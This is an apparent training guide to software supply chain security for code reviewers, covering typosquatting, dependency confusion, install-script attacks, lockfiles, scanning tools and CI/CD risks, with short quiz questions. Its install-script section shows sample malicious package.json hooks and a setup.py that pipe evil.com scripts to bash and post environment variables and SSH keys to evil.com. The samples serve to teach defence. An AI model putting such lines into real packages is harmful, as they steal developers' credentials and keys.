Supply Chain Security: Code Review Guide
Table of Contents
1. Introduction to Supply Chain Security
A software supply chain attack targets the ecosystem of dependencies, tools, and infrastructure that your application relies on — rather than your application code directly. Modern applications typically depend on hundreds to thousands of open-source packages, each maintained by independent individuals or teams. Compromising a single package in that chain can affect millions of downstream applications.
Why This Matters
Supply chain attacks have exploded in both frequency and impact. The average npm project has ~700 transitive dependencies. A single compromised package — like the event-stream incident affecting 8 million weekly downloads — can silently steal credentials, inject backdoors, or exfiltrate data from every application that depends on it. Gartner predicts that by 2025, 45% of organizations worldwide will have experienced a software supply chain attack.
In this guide, you'll learn the major supply chain attack vectors (typosquatting, dependency confusion, maintainer takeover), how malicious packages use install scripts and post-install hooks to execute code, why lockfiles and version pinning are your first line of defense, how to audit dependencies with npm audit, Snyk, and Socket.dev, how to spot supply chain risks during code review, and how to secure CI/CD pipelines against build poisoning.
Software Supply Chain Attack Surface
Your Application's Dependency Chain
Attack Vectors
Why are supply chain attacks particularly effective against modern web applications?
2. Supply Chain Attack Vectors
Supply chain attacks exploit different stages of the dependency lifecycle. Understanding each vector helps you build layered defenses.
Supply Chain Attack Vector Overview
| Attack Vector | How It Works | Scale | Example |
|---|---|---|---|
| Typosquatting | Register packages with names similar to popular ones (lodas, reqeusts, colros) | Targeted — catches developers who mistype | crossenv (stole env vars, 2017) |
| Dependency Confusion | Publish a package on the public registry with the same name as a private/internal package — package managers prefer the higher-version public one | Targeted — affects specific organizations | Alex Birsan attack on Apple, Microsoft, PayPal (2021) |
| Maintainer Takeover | Compromise a maintainer's npm/PyPI account via credential stuffing, phishing, or social engineering | Mass — affects all users of the package | ua-parser-js (7.8M downloads/week, 2021) |
| Malicious Update (Trojanized) | Legitimate package receives a new version with malicious code added | Mass — auto-updates install it | event-stream (8M downloads/week, 2018) |
| Install Script Attacks | Malicious code in preinstall/postinstall npm scripts executes during npm install | Varies — executes before any review | eslint-scope (2018) |
| Protestware | Maintainer intentionally adds destructive code to protest geopolitics/funding | Mass — affects all users | node-ipc (wiped files for Russian IPs, 2022) |
| Build Pipeline Poisoning | Compromise CI/CD systems (GitHub Actions, Jenkins) to inject malicious code during build | Targeted — affects specific repos/orgs | Codecov bash uploader breach (2021) |
| Lockfile Injection | PR modifies lockfile to point to malicious package URL/integrity hash | Targeted — requires code review bypass | lockfile-lint findings (2019) |
Your organization uses an internal npm package called @company/auth-utils. An attacker publishes auth-utils (without the scope) to the public npm registry. What attack is this?
3. Typosquatting & Dependency Confusion
Typosquatting exploits human error — a developer types npm install expres instead of express. The attacker registers the mistyped name and publishes a malicious package. Dependency confusion exploits package manager resolution logic to substitute public packages for internal ones.
Common typosquatting patterns
1# Real typosquatting examples found on npm:
2# Legitimate → Malicious typosquat
3express → expres, expresss, expreses
4lodash → lodas, lodashs, lod-ash
5colors → colros, colour
6request → reqeust, requets
7babel-cli → babelcli (removed hyphen)
8cross-env → crossenv (removed hyphen, stole env vars!)
9mongoose → mongose, mongoos
10
11# Attackers also use:
12# - Scope confusion: @angular/core → angular-core (no scope)
13# - Keyword stuffing: package with same keywords but different name
14# - Unicode homoglyphs: characters that look identical but are differentDependency confusion .npmrc configuration
1# ✅ SECURE: Route scoped packages to your private registry
2# .npmrc
3@company:registry=https://npm.company.com/
4//npm.company.com/:_authToken=${NPM_TOKEN}
5
6# This ensures @company/* packages ONLY come from your private registry
7# and are never resolved from the public npm registry.
8
9# ✅ SECURE: Lock registry per-package in package-lock.json
10# package-lock.json includes "resolved" URLs for each package
11# Review PRs that change resolved URLs — they should match expected registries
12
13# ❌ DANGEROUS: Using public registry as fallback for internal packages
14# If your private registry is down, npm falls back to public
15# An attacker waiting on public npm can intercept this fallbackPreventing Dependency Confusion
Always use scoped packages for internal packages (@company/auth-utils not auth-utils). Configure .npmrc to route your scope exclusively to your private registry. Claim your internal package names on the public npm registry as empty placeholder packages. Use tools like confused or snyk to detect dependency confusion risks in your organization.
4. Malicious Packages & Install Scripts
npm, pip, and other package managers support lifecycle scripts that execute during installation. Malicious packages abuse these to run code before anyone reviews the package source.
Malicious package.json with install scripts
1{
2 "name": "helpful-utils",
3 "version": "1.0.0",
4 "scripts": {
5 "preinstall": "node malicious.js",
6 "postinstall": "curl https://evil.com/steal.sh | bash",
7 "install": "node -e \"require('child_process').execSync('env | curl -X POST -d @- https://evil.com/collect')\""
8 }
9}
10
11// When a developer runs "npm install helpful-utils":
12// 1. preinstall runs BEFORE anything else
13// 2. install runs during package installation
14// 3. postinstall runs AFTER installation
15//
16// The developer's environment variables (including tokens,
17// AWS keys, database passwords) are exfiltrated to evil.com
18// BEFORE they ever look at the package code.Python: Malicious setup.py
1# setup.py executes during "pip install"
2# ❌ Malicious setup.py
3from setuptools import setup
4import os
5
6# Runs during pip install — before any code review!
7os.system("curl https://evil.com/steal.sh | bash")
8
9# Steal SSH keys
10os.system("cat ~/.ssh/id_rsa | curl -X POST -d @- https://evil.com/keys")
11
12# Steal environment variables
13import json, urllib.request
14data = json.dumps(dict(os.environ)).encode()
15urllib.request.urlopen(
16 urllib.request.Request("https://evil.com/env", data=data)
17)
18
19setup(
20 name="helpful-utils",
21 version="1.0.0",
22 # ... normal-looking package metadata
23)Disabling install scripts as defense
1# ✅ SECURE: Ignore all install scripts globally
2npm config set ignore-scripts true
3
4# Then explicitly run scripts for trusted packages:
5npm rebuild # Runs install scripts for native modules that need them
6
7# ✅ Or use .npmrc in your project:
8echo "ignore-scripts=true" >> .npmrc
9
10# ✅ Allow scripts only for specific packages (npm 9+):
11# package.json
12# "overrides": { "node-gyp": { "scripts": true } }
13
14# ✅ Python: Use --no-build-isolation and review setup.py
15pip install --no-build-isolation package-nameA developer wants to add a new npm package with 50 weekly downloads and no README. During code review, what should you check?
5. Lockfiles & Version Pinning
Lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml, Pipfile.lock) are your first line of defense against supply chain attacks. They pin exact versions and integrity hashes, ensuring every install produces the same dependency tree.
What lockfiles protect against
1// package.json allows VERSION RANGES:
2{
3 "dependencies": {
4 "lodash": "^4.17.0" // Any 4.x >= 4.17.0
5 }
6}
7// If an attacker publishes lodash@4.99.0 with malicious code,
8// the next "npm install" (without lockfile) installs the malicious version!
9
10// package-lock.json pins the EXACT version and integrity hash:
11{
12 "packages": {
13 "node_modules/lodash": {
14 "version": "4.17.21",
15 "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
16 "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
17 }
18 }
19}
20// integrity hash ensures the downloaded file matches exactly
21// resolved URL shows which registry it came from- Always commit lockfiles — Lockfiles must be in version control. Without them, every
npm installresolves versions fresh, potentially pulling in compromised updates. - Use
npm ciin CI/CD — Unlikenpm install(which can update the lockfile),npm ciinstalls exactly what the lockfile specifies and fails if there's a mismatch. This prevents accidental updates. - Review lockfile changes in PRs — When a PR modifies
package-lock.json, review: Are the version changes expected? Do theresolvedURLs point to the expected registry? Are theintegrityhashes present? - Pin exact versions in package.json — Use
"lodash": "4.17.21"instead of"^4.17.21"for critical dependencies. This prevents automatic minor/patch updates.
Lockfile Injection Attacks
Attackers can submit PRs that modify the lockfile to point to a malicious package URL or altered integrity hash. The diff of a lockfile is hard to review manually (thousands of lines). Use tools like lockfile-lint to verify that all resolved URLs point to expected registries and that integrity hashes are present for every package.
6. Vulnerability Scanning & Auditing
Vulnerability scanning detects known vulnerabilities in your dependencies. Multiple tools exist with different coverage, speed, and detection capabilities.
Built-in vulnerability scanning
1# npm — built-in audit
2npm audit # Show vulnerabilities
3npm audit fix # Auto-fix where possible
4npm audit --production # Only production dependencies
5
6# Yarn
7yarn audit
8
9# pnpm
10pnpm audit
11
12# Python
13pip-audit # Dedicated pip vulnerability scanner
14safety check # PyUp safety database
15
16# Ruby
17bundle audit check
18
19# Java
20mvn dependency-check:check # OWASP Dependency-Check
21
22# .NET
23dotnet list package --vulnerableDependency Security Tools Comparison
| Tool | What It Detects | Cost | Best For |
|---|---|---|---|
| npm audit | Known CVEs in npm packages | Free | Basic vulnerability scanning |
| Snyk | CVEs + license issues + fix PRs | Free tier + paid | Automated PR fixes, CI integration |
| Socket.dev | Malicious packages, typosquatting, install scripts, behavior analysis | Free tier + paid | Detecting NEW threats (zero-day malicious packages) |
| Dependabot (GitHub) | CVEs + automated version update PRs | Free | GitHub-native automated updates |
| Renovate | Automated dependency updates with grouping | Free (open-source) | Fine-grained update control |
| OWASP Dependency-Check | CVEs across multiple ecosystems | Free (open-source) | Java/Maven, multi-language projects |
| Grype / Trivy | Container image + filesystem vulnerability scanning | Free (open-source) | Docker/container security |
npm audit vs Socket.dev
npm audit only detects known, reported CVEs. It cannot detect new malicious packages, typosquatting, or install script attacks. Socket.dev analyzes package behavior — it flags packages that access the network during install, read environment variables, or execute shell commands. For comprehensive protection, use both: npm audit for known CVEs and Socket.dev for behavioral analysis.
7. Detection During Code Review
During code review, supply chain risks appear in dependency changes, lockfile modifications, CI/CD configuration, and build scripts. Here is a systematic detection approach.
Code Review Detection Patterns
| What to Review | Red Flags | Risk |
|---|---|---|
| New dependency added | Low downloads, no README, recently created, name similar to popular package | Critical (typosquat/malicious) |
| package.json scripts | preinstall/postinstall that curl URLs, run node -e, or execute shell commands | Critical (install script attack) |
| Lockfile changes | Resolved URLs changed to unexpected registries, missing integrity hashes | High (lockfile injection) |
| Version range change | Exact pin (4.17.21) changed to range (^4.0.0) — widens attack surface | Medium |
| .npmrc changes | Registry URLs changed, authentication tokens modified | High (registry hijacking) |
| CI/CD config changes | New external actions, changed build scripts, new secrets access | High (build poisoning) |
| Dockerfile changes | Base image changed, new RUN commands that curl/wget external scripts | High |
| Import of native module | Package uses N-API/node-gyp — can execute C/C++ code during install | Medium |
Quick checks for dependency review
1# Check for install scripts in a package BEFORE installing
2npm pack package-name && tar -xzf package-name-*.tgz
3cat package/package.json | grep -A5 '"scripts"'
4
5# Check package info without installing
6npm info package-name
7npm info package-name time # Shows when each version was published
8
9# Verify package hasn't been recently transferred
10npm info package-name maintainers
11
12# Check for typosquatting
13# Compare the package name carefully against the intended package
14# Use npm search to find the real package
15
16# Review lockfile changes in a PR
17npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm --validate-https
18
19# Find all install scripts in your dependency tree
20npx @pnpm/list-scriptsA PR updates package-lock.json with 2,000 changed lines. The PR description says 'Updated lodash to fix a vulnerability.' What should you check?